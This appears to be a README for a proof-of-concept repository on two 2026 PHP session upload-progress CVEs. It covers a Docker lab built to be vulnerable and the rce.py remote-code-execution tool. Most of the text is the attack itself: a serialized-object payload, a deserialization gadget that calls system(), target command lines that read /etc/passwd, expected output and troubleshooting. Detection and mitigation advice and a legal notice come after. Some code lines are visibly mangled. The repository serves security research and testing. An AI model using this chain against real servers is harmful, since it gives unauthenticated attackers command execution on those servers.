.
- A **Docker lab** that reproduces the vulnerable per-directory `session.serialize_handler`
- A **Python exploit** (`rce.py`) that chains the bug into unauthenticated command
- Documentation of the **expected output** so you can distinguish a successful run from a
failed one, including the warning message that looks like an error but is not.
> **Educational / authorized testing only.** See [Legal](#legal) before doing anything.
- [Affected Components](#affected-components)
- [Reading the Output](#reading-the-output)
- [Detection and Mitigation](#detection-and-mitigation)
PHP's upload progress feature (`session.upload_progress.enabled`, on by default since 5.4)
caches raw `zval *` bucket pointers into the session HashTable from
`php_session_rfc1867_callback`. When a session is re-initialized between chunked upload
events, the old HashTable is freed while those pointers remain cached. The result is a
**Use-After-Free**. Subsequent progress updates write through dangling pointers.
The full chain documented here additionally abuses a **per-directory
`session.serialize_handler` mismatch**. A session file written by a directory using
`php_serialize` can be read by a directory using the default `php` handler. The attacker
controls the session ID (via a POST field, not just a cookie), plants a serialized object,
and the victim directory's `session_start()` instantiates it, firing `__destruct()` on
The two CVEs cover the related manifestations:
| CVE-2026-109618 | `session.upload_progress` UAF | Primary memory-corruption bug |
| CVE-2026-109619 | `session.upload_progress` handler confusion | Serialization-handler chain used here |
| Affected | PHP builds with `session.upload_progress.enabled = On` (default) |
| Trigger | Unauthenticated HTTP request; no cookie required (`session.use_only_cookies = Off`) |
| Precondition | Two directories sharing a session save path but differing in `session.serialize_handler` |
**Patched in:** PHP 8.5.12, 8.4.27, 8.3.36, 8.2.35 (verify against vendor advisories;
always confirm version numbers from the official PHP release notes for your branch).
docker ps # expect 127.0.0.1:8080->80/tcp
curl -s # expect "[api] session started"
docker rm -f php2shell-lab && docker rmi php2shell-lab
**Requirements:** Docker (with your user in the `docker` group), Python 3.10 or newer.
The `lab` script builds the environment from scratch, with no external repos to clone.
mkdir -p "$LAB/webroot/app" "$LAB/webroot/api"
cat > Dockerfile /usr/local/etc/php/conf.d/zz-lab.ini
cat > webroot/app/seed.php webroot/app/.htaccess webroot/api/app.php cmd) && $this->cmd !== '') {
docker rm -f php2shell-lab >/dev/null 2>&1 || true
docker run -d --name php2shell-lab -p 127.0.0.1:8080:80 php2shell-lab
curl -s
| `app/.htaccess` with `php_serialize` | Creates the handler mismatch that the chain depends on |
| `session.upload_progress.cleanup = Off` | **Critical.** With the default `On`, PHP deletes the progress entry once the POST body is fully read, so your seed disappears before step 2 |
| `session.use_only_cookies = Off` | Lets PHP accept `PHPSESSID` as a form field, so no cookie jar is needed |
| `Logger::__destruct()` | The gadget: runs `$this->cmd` when the object is destroyed |
| `-p 127.0.0.1:8080:80` | Binds to loopback only, so the vulnerable box is not reachable from the LAN |
> The lab binds to `127.0.0.1` deliberately. Do not change this to `0.0.0.0` on a shared
python3 rce.py [-h] [--seed-path PATH] [--trigger-path PATH]
[--gadget CLASS] [--prop PROP] [--sid HEX]
python3 rce.py 127.0.0.1 8080 "id; uname -a; cat /etc/passwd"
# Custom gadget class (must exist in the trigger endpoint)
python3 rce.py 127.0.0.1 8080 "id" --gadget MyClass --prop command
# Explicit session ID for repeatable runs
python3 rce.py 127.0.0.1 8080 "id" --sid 0123456789abcdef0123456789abcdef
# Override endpoint paths if your target differs
| `host` | none | Target hostname or IP |
| `port` | none | Target port (lab: **8080**) |
| `cmd` | none | Shell command executed via the gadget |
| `--seed-path` | `/app/seed.php` | Endpoint under the `php_serialize` directory |
| `--trigger-path` | `/api/app.php` | Endpoint under the `php` directory that calls `session_start()` |
| `--gadget` | `Logger` | Class whose `__destruct()` runs the command |
| `--prop` | `cmd` | Property carrying the command string |
| `--timeout` | `20.0` | Per-request socket timeout (seconds) |
A multipart POST to `/app/seed.php` containing:
- `PHPSESSID`, an attacker-chosen session ID
- `PHP_SESSION_UPLOAD_PROGRESS`, value prefixed with `|`, followed by a serialized
object: `O:6:"Logger":1:{s:3:"cmd";s:2:"id";}`
- A file part to trigger the upload-progress path
Because `/app` uses `php_serialize`, the session file is written in a predictable,
attacker-controllable layout. The payload lands in `/tmp/sess_`.
A GET to `/api/app.php` with `Cookie: PHPSESSID=`. This directory uses the default
`php` handler, which parses the same file with different rules and **instantiates the
injected object**. When decoding subsequently fails (the trailing progress-array data
guarantees this), PHP destroys the object, and `Logger::__destruct()` calls `system()`
That ordering is the key detail: the command executes during cleanup, so the
"Failed to decode session object" warning appears after your output, not instead of it.
[*] CVE-2026-109618/619, session.upload_progress
[*] sid=1c2ab5a2f0947fdd79e596433248a14c payload=40 B gadget=Logger->cmd
[1] seed POST /app/seed.php -> HTTP 200 (10 B)
[2] fire GET /api/app.php -> HTTP 200 (192 B)
Warning: session_start(): Failed to decode session object. Session has been destroyed in /var/www/html/api/app.php on line 10
Warning: session_start(): Failed to decode session object. Session has been destroyed
This is **not** a failure. `__destruct()`, and therefore `system()`, runs during the
decode-failure cleanup path, **before** the warning is emitted. The trailing data in the
seeded session blob forces this failure deliberately. Remove the trailing data and the
| `www-data` (or any command stdout) in the body | Command executed |
| `sh: 1: : not found` | Command executed, shell tried and failed to find the binary |
| `Failed to decode session object` | Expected, this is the destruction path |
| Only `[api] session started`, nothing else | Gadget did not fire |
| `ConnectionRefusedError` | Wrong port | Lab maps host **8080** to container 80. Use `8080` |
| `permission denied ... /var/run/docker.sock` | User not in `docker` group | `sudo usermod -aG docker $USER && newgrp docker` |
| Seed returns HTTP 500 | `.htaccess` `php_value` rejected | `docker exec php2shell-lab php -i \| grep serialize_handler` |
| Seed OK, no command output, no warning | Session cleanup deleted the seed | Confirm `session.upload_progress.cleanup = Off` inside the container |
| Seed OK, warning present, no output | Gadget class not defined before `session_start()` | `class Logger` must appear **above** the `session_start()` call |
| `curl returns 403 | No index file in web root | Expected, target the specific endpoints |
| Everything looks right but no output | Command produced no stdout | Try `id`; check `docker logs php2shell-lab` for PHP fatals |
The fastest diagnostic. Replace `` with the value printed by `rce.py`:
docker exec php2shell-lab ls -la /tmp/sess_*
You should see `O:6:"Logger"` and your command. If the file is empty or missing, the seed
never landed. If it exists but contains no `Logger` string, the seed directory is not
docker logs php2shell-lab 2>&1 | tail -40
`unserialize(): Error at offset ...` warnings are benign. A fatal
`Class "Logger" not found` means the gadget class is defined too late in the trigger file.
1. **Patch.** Upgrade to the fixed PHP release for your branch. This is the only complete
2. **Disable the feature** as a stopgap: `session.upload_progress.enabled = Off`.
PHP release managers have noted this is **insufficient as a sole mitigation**. Treat
it as defence in depth, not a substitute for patching.
3. **Normalise handlers.** Ensure every directory sharing a session save path uses the
*same* `session.serialize_handler`. The mismatch is the exploitable precondition.
4. **Harden session config:** `session.use_strict_mode = On`,
- Requests containing a `PHP_SESSION_UPLOAD_PROGRESS` field whose value begins with `|`
and contains `O::"`, a serialized object where PHP expects a plain string.
- `PHPSESSID` supplied as a **form field** rather than a cookie.
- `session_start(): Failed to decode session object` in logs, especially clustered by
- Session files in the save path containing serialized objects with string properties
- PHP source: `ext/session/session.c`, `php_session_rfc1867_callback`
- PHP release notes and security advisories:
> Verify all CVE identifiers, affected versions, and patch levels against the official
> vendor advisory before relying on them. This repository documents a lab reproduction;
> the authoritative source is always the upstream security announcement.
This software is provided **for security research, education, and authorized testing
**Permitted:** running it against the Docker lab in this repository, or against systems
you own or have **explicit written authorization** to test.
**Not permitted:** using it against any system without authorization. Unauthorized access
to computer systems is illegal in most jurisdictions (for example CFAA in the US,
Computer Misuse Act in the UK, similar statutes in the EU and elsewhere) and carries
The authors accept **no liability** for misuse or for any damage caused by this software.
You are solely responsible for complying with all applicable laws and for obtaining
permission before testing. If you find this vulnerability in a production system, follow
responsible disclosure: the vendor, do not publish exploit details before a fix
is available, and do not access data beyond what is needed to demonstrate the issue.
MIT, see [LICENSE](LICENSE). The license applies to the code; the legal notice above
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
